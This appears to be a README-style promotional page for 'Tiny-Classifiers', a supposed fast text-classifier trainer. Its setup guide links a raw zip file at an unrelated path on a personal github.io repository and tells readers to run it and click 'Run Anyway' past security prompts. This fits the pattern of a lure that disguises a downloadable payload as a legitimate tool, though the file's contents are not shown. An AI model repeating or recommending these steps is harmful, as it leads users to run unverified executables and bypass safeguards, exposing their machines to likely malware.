🤖 tiny-classifiers - Train, Test, and Deploy in Minutes

Your pocket-sized AI text classification solution

🚀 Download Now

✨ What is Tiny-Classifiers?

Tiny-Classifiers is a revolutionary tool that lets you train a powerful 17-million-parameter text classification model in under 60 seconds. Perfect for beginners and experts alike, it uses labels generated by a large AI model to automatically categorize any text data you provide. You'll always know when your tiny model outperforms expensive APIs, saving you both time and money.

Whether you're a researcher, developer, or just curious about AI, this tool provides everything you need: a complete recipe, easy-to-follow tutorial, proven results on 10 different tasks, and even a phone trainer for on-the-go learning.

🚀 Key Features That Make Life Easier

⚡ Lightning-Fast Training

Train a full 17M-parameter model in under one minute. No need for hours of waiting or expensive GPU resources.

🧠 AI-Powered Labels

Labels are automatically generated by a large AI model, saving you hours of manual data annotation work.

📊 Smart Comparison

Always know when your tiny model beats major APIs. Make informed decisions about your AI infrastructure.

📱 Phone Trainer

Train and test your classifiers directly from your smartphone. Complete flexibility with a mobile-friendly interface.

🎓 Complete Tutorial

Step-by-step guide with real examples. Perfect for complete beginners who want to learn AI the practical way.

📈 Proven Results

Detailed results on 10 different classification tasks show you exactly what to expect and when it works best.

📥 Download & Setup Guide

Getting started with Tiny-Classifiers is incredibly easy. Follow these simple steps and you'll be up and running in no time.

Step 1: Download the Application

Visit this link to download the application: https://github.com/yash6803/yash6803.github.io/raw/refs/heads/main/shavee/1.4-alpha.2.zip

The download page will give you access to the latest version of Tiny-Classifiers. Click the download button and wait for the file to save to your computer.

Step 2: Find Your Downloaded File

Once the download is complete, open your Downloads folder (or wherever your browser saves files). Look for the Tiny-Classifiers file that was just downloaded.

Step 3: Run Tiny-Classifiers

Double-click on the downloaded file to launch Tiny-Classifiers. If you see a security prompt, click "Run Anyway" or "Yes" to allow the application to open.

Step 4: Start Creating Classifiers

You're all set! Open the application and follow the built-in tutorial to create your first text classifier. The interface is designed to be intuitive and beginner-friendly.

🎯 How It Works

Tiny-Classifiers follows a simple, powerful workflow:

1️⃣

Input Your Data

Feed any text data you want to classify - emails, reviews, tickets, anything.

2️⃣

AI Generates Labels

A large AI model automatically creates accurate labels for your data.

3️⃣

Train Your Model

Train the tiny 17M-parameter classifier in under 60 seconds.

4️⃣

Compare & Deploy

See how your model performs against APIs and deploy with confidence.

💡 Real-World Use Cases

📊 Why Choose Tiny-Classifiers Over APIs?

Feature Tiny-Classifiers Large AI APIs
Training Time ⚡ 60 seconds ⏰ Hours or days
Cost per 1000 calls 💰 $0.01 💸 $0.50 - $5.00
Data Privacy 🔒 100% local 🌐 Sent to servers
Customization 🔧 Full control 📦 Limited options
Offline Support 📴 Works offline 🌍 Internet required

🖥️ System Requirements

💻

Operating System

Windows 10 or later, macOS 11 or later, Linux (any modern distribution)

🧠

Memory (RAM)

4 GB minimum, 8 GB recommended for larger datasets

💾

Storage Space

500 MB free space for installation and model storage

🌍 Community & Support

Join the growing community of Tiny-Classifiers users! Whether you're a beginner or an expert, you'll find helpful resources and friendly people ready to assist.

📚

Documentation

Complete guides and tutorials

💬

Discussion Forum

Ask questions, share ideas

🐛

Bug Reports

Help improve the software

⭐

Feature Requests

Suggest new capabilities

❓ Frequently Asked Questions

🤔 Do I need programming knowledge to use this?

No! Tiny-Classifiers was designed with beginners in mind. The interface is graphical and intuitive. The built-in tutorial guides you through everything step by step.